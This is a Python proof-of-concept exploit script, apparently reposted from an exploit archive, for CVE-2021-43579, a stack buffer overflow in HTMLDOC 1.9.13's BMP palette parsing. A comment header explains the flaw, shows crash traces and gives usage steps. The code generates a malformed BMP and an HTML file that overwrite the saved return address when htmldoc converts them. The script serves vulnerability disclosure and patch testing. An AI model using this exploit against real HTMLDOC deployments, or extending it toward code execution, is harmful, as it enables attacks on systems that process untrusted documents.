Share
## https://sploitus.com/exploit?id=PACKETSTORM:211123
#!/usr/bin/env python3
    # Exploit Title: HTMLDOC 1.9.13 - Stack Buffer Overflow
    # Google Dork: N/A
    # Date: 2025-08-26
    # Exploit Author: wulfgarpro
    # Vendor Homepage: https://github.com/michaelrsweet/htmldoc
    # Software Link: https://github.com/michaelrsweet/htmldoc/releases/tag/v1.9.13
    # Version: <= 1.9.13
    # Tested on: Linux x86_64
    # CVE: CVE-2021-43579
    # ==============================================================================
    #
    # ------------------------------------------------------------------------------
    # Summary
    # ------------------------------------------------------------------------------
    # HTMLDOC's BMP reader (`image_load_bmp`) uses a fixed-size stack buffer for
    # the colour palette: 256 * 4 = 1024 bytes.
    #
    # The `image_load_bmp` function advances past the 14-byte BITMAPFILEHEADER and
    # parses the BITMAPINFOHEADER. The attacker-controlled `biClrUsed` field is read
    # into an `int` and then directly drives the number of colour palette bytes
    # copied into the 1024-byte stack buffer:
    #
    # ```c
    # int colors_used;
    # uchar colormap[256][4]; // 1024 bytes
    # colors_used = (int)read_dword(fp); // biClrUsed
    # fread(colormap, (size_t)colors_used, 4, fp);
    # ```
    #
    # A fix in v1.9.13 only rejected `colors_used > 256`. Negative values are not
    # rejected. A negative `colors_used` (e.g. `biClrUsed = 0xffffffff == -1`) is
    # cast to `size_t` (wraps to `SIZE_MAX`), so `fread` is asked to copy a huge
    # amount into the 1024-byte buffer.
    #
    # `fread(ptr, size, nmemb, ...)` copies `size * nmemb` bytes. Here the call
    # requests `colors_used * 4` bytes. With `biClrUsed = 0xffffffff` (-1),
    # `(size_t)colors_used` becomes `SIZE_MAX`, so the call requests an enormous
    # read (`size=SIZE_MAX, nmemb=4`). In practice `fread` writes however many bytes
    # are available; with our 1088-byte payload it overflows the 1024-byte buffer by
    # 64 bytes:
    #
    # Payload layout:
    #
    #   * 1080 'A' bytes: fill the 1024-byte stack buffer and a further 56 bytes.
    #   *    8 'B' bytes: land on the saved return address on x86_64, producing
    #                     `RIP = 0x4242424242424242`.
    #
    # Example crash without _FORTIFY_SOURCE / stack protector:
    #
    # ```sh
    # โ–บ 0   0x55555559dbb7 image_load_bmp(image_t*, _IO_FILE*, int, int)+2615
    #   1 0x4242424242424242 None
    #   2              0x1 None
    #   3       0x55a5d5e0 None
    #   4   0x555555a9ffa0 None
    #   5   0x555500000000 None
    #   6   0x5555555a989c None
    #   7   0x555555a5d5e0 _htmlGlyphs
    # ```
    #
    # With `_FORTIFY_SOURCE=2`, overflow is detected:
    #
    # ```sh
    # *** buffer overflow detected ***: terminated
    #
    # Program received signal SIGABRT, Aborted.
    #
    # โ–บ 0   0x7ffff749894c None
    #   1   0x7ffff743e410 raise+32
    #   2   0x7ffff742557a abort+38
    #   3   0x7ffff7426613 None
    #   4   0x7ffff7526319 None
    #   5   0x7ffff7525c84 None
    #   6   0x7ffff7526565 __fread_chk+389
    #   7   0x5555555930d9 image_load_bmp(image_t*, _IO_FILE*, int, int)+346
    # ```
    #
    # ------------------------------------------------------------------------------
    # Usage
    # ------------------------------------------------------------------------------
    # 0. Generate the HTML and evil BMP: `python3 CVE-2021-43579.py`
    # 1. Trigger via HTMLDOC: `htmldoc --webpage -f out.pdf poc.html`
    # ------------------------------------------------------------------------------
    
    # 14-byte BITMAPFILEHEADER
    BITMAPFILEHEADER = (
        b"\x42\x4d"  # bfType
        b"\x00\x00\x00\x00"  # bfSize
        b"\x00\x00"  # bfReserved1
        b"\x00\x00"  # bfReserved2
        b"\x00\x00\x00\x00"  # bfOffBits
    )
    
    # 40-byte BITMAPINFOHEADER
    BITMAPINFOHEADER = (
        b"\x00\x00\x00\x00"  # biSize
        b"\x01\x00\x00\x00"  # biWidth = 0x00000001 (1)
        b"\x01\x00\x00\x00"  # biHeight = 0x00000001 (1)
        b"\x00\x00"  # biPlanes
        b"\x00\x00"  # biBitCount
        b"\x00\x00\x00\x00"  # biCompression
        b"\x00\x00\x00\x00"  # biSizeImage
        b"\x00\x00\x00\x00"  # biXPelsPerMeter
        b"\x00\x00\x00\x00"  # biYPelsPerMeter
        b"\xff\xff\xff\xff"  # biClrUsed = 0xffffffff (-1)
        b"\x00\x00\x00\x00"  # biClrImportant
    )
    
    PAYLOAD = b"A" * 1080  # cyclic: uaakvaak
    PAYLOAD += b"B" * 8  # RIP overwrite
    
    
    def generate_poc_bmp():
        with open("poc.bmp", "+wb") as poc_bmp:
            poc_bmp.write((BITMAPFILEHEADER + BITMAPINFOHEADER) + PAYLOAD)
    
    
    def generate_poc_html():
        with open("poc.html", "+w") as poc_html:
            poc_html.write("<html><img src='./poc.bmp'/></html>")
    
    
    if __name__ == "__main__":
        generate_poc_bmp()
        generate_poc_html()